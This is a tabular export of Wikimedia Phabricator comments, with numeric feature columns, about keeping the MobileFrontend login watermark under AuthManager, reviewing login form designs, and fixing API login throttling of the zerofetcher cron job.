",,,1467184053,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,False,,,51,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8333333333333335,0.875,"Change 296508 had a related patch set uploaded (by Gergő Tisza):
Update for AuthManager

[[GERRIT_URL]]
"
663410,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"Change 288334 merged by jenkins-bot:
Update for AuthManager

[[https://gerrit.wikimedia.org/r/288334]]",,,1463449356,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.8333333333333335,0.8888888888888888,"Change 288334 merged by jenkins-bot:
Update for AuthManager

[[GERRIT_URL]]"
660783,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"Change 288334 had a related patch set uploaded (by Gergő Tisza):
Update for AuthManager

[[https://gerrit.wikimedia.org/r/288334]]
",,,1463010949,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8333333333333335,0.875,"Change 288334 had a related patch set uploaded (by Gergő Tisza):
Update for AuthManager

[[GERRIT_URL]]
"
660669,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"All those hooks do is add an image to the top of the form. This is important as it gives context to where you are logging in.

```
<div class=""watermark""><img src=""$1""></div>
where $1 is the value of $wgMobileFrontendLogo

```
If you are deprecating these, you need to provide a new way to add that image. I consider that a blocker to rolling this out.",,,1463001180,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,True,,,44,True,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,17.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,3.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,8.0,5.0,0.0,17.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,3.296875,0.703125,"All those hooks do is add an image to the top of the form. This is important as it gives context to where you are logging in.

``CODE``
If you are deprecating these, you need to provide a new way to add that image. I consider that a blocker to rolling this out."
660655,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"The only thing that looks suspicious is that you're using the UserLoginForm and UserCreateForm hooks. These hooks are deprecated under AuthManager, so it would be good to move away from using them.",,,1463000258,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,True,,,44,True,0.0,0.0,0.0,3.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,8.0,14.0,6.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,14.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,4.611111111111111,0.8888888888888888,"The only thing that looks suspicious is that you're using the UserLoginForm and UserCreateForm hooks. These hooks are deprecated under AuthManager, so it would be good to move away from using them."
558083,AuthManager should retain the MobileFrontend watermark at the top of the login screen,Let me know if there is anything specific you need done in the extension!,,,1446657536,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,True,,,17,True,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,Let me know if there is anything specific you need done in the extension!
558081,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"We only use the normal login page so if there is an issue here it is in the mediawiki login form (e.g. it doesn't load JavaScript with the right target)
",,,1446657506,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,3.0,3.0,3.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,12.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.8529411764705882,"We only use the normal login page so if there is an issue here it is in the mediawiki login form (e.g. it doesn't load JavaScript with the right target)
"
111255,Review login / signup designs by some major sites / frameworks,Review login / signup designs by some major sites / frameworks so that we have a use case list of sorts by which to judge solutions to T110278.,Medium,50.0,1441230885,1464122891.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-l6knmtbufhphx6m4ipmp,task_description,resolved,True,c3,3,True,True,False,8,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,24.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,24.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.896551724137931,Review login / signup designs by some major sites / frameworks so that we have a use case list of sorts by which to judge solutions to T110278.
522368,Review login / signup designs by some major sites / frameworks,"UI Patterns has great screenshot collections:
* [[ http://ui-patterns.com/users/1/collections/login-forms/screenshots | login ]] (also [[ http://zurb.com/patterntap?tag=login&context=types | PatternTap]], [[ http://www.mobile-patterns.com/log-in | Mobile Patterns ]])
* [[ http://ui-patterns.com/patterns/AccountRegistration/examples | registration ]] (also [[ http://zurb.com/patterntap?tag=signup&context=types | PatternTap ]], [[ http://www.mobile-patterns.com/sign-up-flows | Mobile Patterns ]]
* [[ http://ui-patterns.com/patterns/LazyRegistration/examples | lazy registration ]]
(also [[ http://ui-patterns.com/patterns/PasswordStrengthMeter/examples | password strength meter ]], [[ http://ui-patterns.com/patterns/Captcha/examples | captcha ]])

Most if these are structurally pretty simple: a list of form elements, plus a list of social login buttons (sometimes they are in the same list). So one possibility is to keep using templates but provide them with those two lists. ",,,1441678856,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-l6knmtbufhphx6m4ipmp,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,4.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,5.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.5,0.5,1.5,3.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,1.5,5.0,6.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.5,0.5,0.0,0.5,8.5,3.123239436619718,0.5263581488933602,"UI Patterns has great screenshot collections:
* [[ URL | login ]] (also [[ URL | PatternTap]], [[ URL | Mobile Patterns ]])
* [[ URL | registration ]] (also [[ URL | PatternTap ]], [[ URL | Mobile Patterns ]]
* [[ URL | lazy registration ]]
(also [[ URL | password strength meter ]], [[ URL | captcha ]])

Most if these are structurally pretty simple: a list of form elements, plus a list of social login buttons (sometimes they are in the same list). So one possibility is to keep using templates but provide them with those two lists. "
111045,zerofetcher in production is getting throttled for API logins,"Getting this from cronjobs today, as we've expanded the pool of cache cluster machines which are fetching the Zero-rating JSON data.  Can a limit be increased substantially somewhere?

```
Exception: API login phase2 gave result Throttled, expected ""Success""
```",Medium,50.0,1441116219,1444061462.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-sdolnc4j26rmtnljzjol,task_description,resolved,True,c3,3,True,True,False,8,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,4.048780487804878,0.9024390243902439,"Getting this from cronjobs today, as we've expanded the pool of cache cluster machines which are fetching the Zero-rating JSON data.  Can a limit be increased substantially somewhere?

``CODE``"
539397,zerofetcher in production is getting throttled for API logins,"Change 243033 merged by BBlack:
re-enable zerofetcher for cache_text T111045

[[https://gerrit.wikimedia.org/r/243033]]",,,1443736220,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,False,,,13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.2,0.9,"Change 243033 merged by BBlack:
re-enable zerofetcher for cache_text T111045

[[GERRIT_URL]]"
539395,zerofetcher in production is getting throttled for API logins,"Change 243033 had a related patch set uploaded (by BBlack):
re-enable zerofetcher for cache_text T111045

[[https://gerrit.wikimedia.org/r/243033]]
",,,1443736174,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,False,,,13,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,0.8888888888888888,"Change 243033 had a related patch set uploaded (by BBlack):
re-enable zerofetcher for cache_text T111045

[[GERRIT_URL]]
"
539389,zerofetcher in production is getting throttled for API logins,"Change 242888 merged by BBlack:
zero_update: randomize cron every 15 minutes

[[https://gerrit.wikimedia.org/r/242888]]",,,1443735717,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,False,,,13,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.15,0.85,"Change 242888 merged by BBlack:
zero_update: randomize cron every 15 minutes

[[GERRIT_URL]]"
539095,zerofetcher in production is getting throttled for API logins,This issue is becoming a blocker for doing a better job at DDoS mitigation (so that we can port XFF-decoding used by Zero to other clusters and not accidentally false-positive-ratelimit things like OperaMini).  Any objections from #Zero on carriers/proxies data updates being on a 15-minute rather than 5-minute schedule in the patch above?,,,1443718505,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,13,True,1.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,17.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,10.0,3.0,1.0,8.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,1.0,17.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,0.0,4.056338028169014,0.8732394366197183,This issue is becoming a blocker for doing a better job at DDoS mitigation (so that we can port XFF-decoding used by Zero to other clusters and not accidentally false-positive-ratelimit things like OperaMini).  Any objections from #Zero on carriers/proxies data updates being on a 15-minute rather than 5-minute schedule in the patch above?
538948,zerofetcher in production is getting throttled for API logins,"Change 242888 had a related patch set uploaded (by BBlack):
zero_update: randomize cron every 15 minutes

[[https://gerrit.wikimedia.org/r/242888]]
",,,1443707834,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,False,,,13,True,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.962962962962963,0.8888888888888888,"Change 242888 had a related patch set uploaded (by BBlack):
zero_update: randomize cron every 15 minutes

[[GERRIT_URL]]
"
534564,zerofetcher in production is getting throttled for API logins,"The code doing the fetching, in case that provides any details as to what kind of login it's using, is: https://github.com/wikimedia/operations-puppet/blob/production/modules/varnish/files/zerofetch.py",,,1443123136,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,12,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,28.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,8.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,3.48,0.96,"The code doing the fetching, in case that provides any details as to what kind of login it's using, is: URL"
534563,zerofetcher in production is getting throttled for API logins,"In this case, we're logging into the same account from many IP addresses (let's say ~100), and each of those IP addresses is logging in every 5 minutes (log in, fetch one chunk of data from an API, log out).  Could it just be the concurrency of the logins from multiple machines?",,,1443123077,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,12,True,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,5.0,17.0,3.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.5076923076923077,0.7538461538461538,"In this case, we're logging into the same account from many IP addresses (let's say ~100), and each of those IP addresses is logging in every 5 minutes (log in, fetch one chunk of data from an API, log out).  Could it just be the concurrency of the logins from multiple machines?"
534390,zerofetcher in production is getting throttled for API logins,">>! In T111045#1669413, @Yurik wrote:
> Do we know what is actually doing the rate check and blocking? Is that a backend feature / an extension?

The only place in core and deployed extensions I see returning LoginForm::THROTTLED is core, based on LoginForm::incLoginThrottle(). The throttle should be being cleared by a successful login though. And it's per both IP and user, so unless your machines are all seen as coming from the same IP that shouldn't make a difference.



>>! In T111045#1614425, @Krenair wrote:
> We can add entries to wgRateLimitsExcludedIPs in mediawiki-config if there is a list of internal hosts which need it.
> It'd need to be kept updated though.

wgRateLimitsExcludedIPs doesn't appear to be used for the login throttle.",,,1443113629,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,12,True,1.0,0.0,0.0,4.0,2.0,4.0,1.0,0.0,1.0,1.0,2.0,2.0,0.0,1.0,0.0,1.0,0.0,4.0,12.0,0.0,1.0,2.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,7.0,6.0,15.0,2.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,4.423529411764706,0.7411764705882353,"QUOTE
QUOTE

The only place in core and deployed extensions I see returning LoginForm::THROTTLED is core, based on LoginForm::incLoginThrottle(). The throttle should be being cleared by a successful login though. And it's per both IP and user, so unless your machines are all seen as coming from the same IP that shouldn't make a difference.



QUOTE
QUOTE
QUOTE

wgRateLimitsExcludedIPs doesn't appear to be used for the login throttle."
533947,zerofetcher in production is getting throttled for API logins,Do we know what is actually doing the rate check and blocking? Is that a backend feature / an extension?,,,1443060959,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,14.0,9.0,9.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,3.8636363636363638,0.9545454545454546,Do we know what is actually doing the rate check and blocking? Is that a backend feature / an extension?
533811,zerofetcher in production is getting throttled for API logins,"Just single IPs.

Maybe there's a better way somewhere...",,,1443050628,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,3.8461538461538463,1.0,"Just single IPs.

Maybe there's a better way somewhere..."
533803,zerofetcher in production is getting throttled for API logins,"@Krenair is that just single IPs, or can we add networks to it like the wgSquidServers type of lists use?",,,1443050247,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,18.0,5.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.045454545454546,1.0,"SCREEN_NAME is that just single IPs, or can we add networks to it like the wgSquidServers type of lists use?"
522163,zerofetcher in production is getting throttled for API logins,"We can add entries to wgRateLimitsExcludedIPs in mediawiki-config if there is a list of internal hosts which need it.
It'd need to be kept updated though.",,,1441649647,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,16.0,9.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0625,0.90625,"We can add entries to wgRateLimitsExcludedIPs in mediawiki-config if there is a list of internal hosts which need it.
It'd need to be kept updated though."
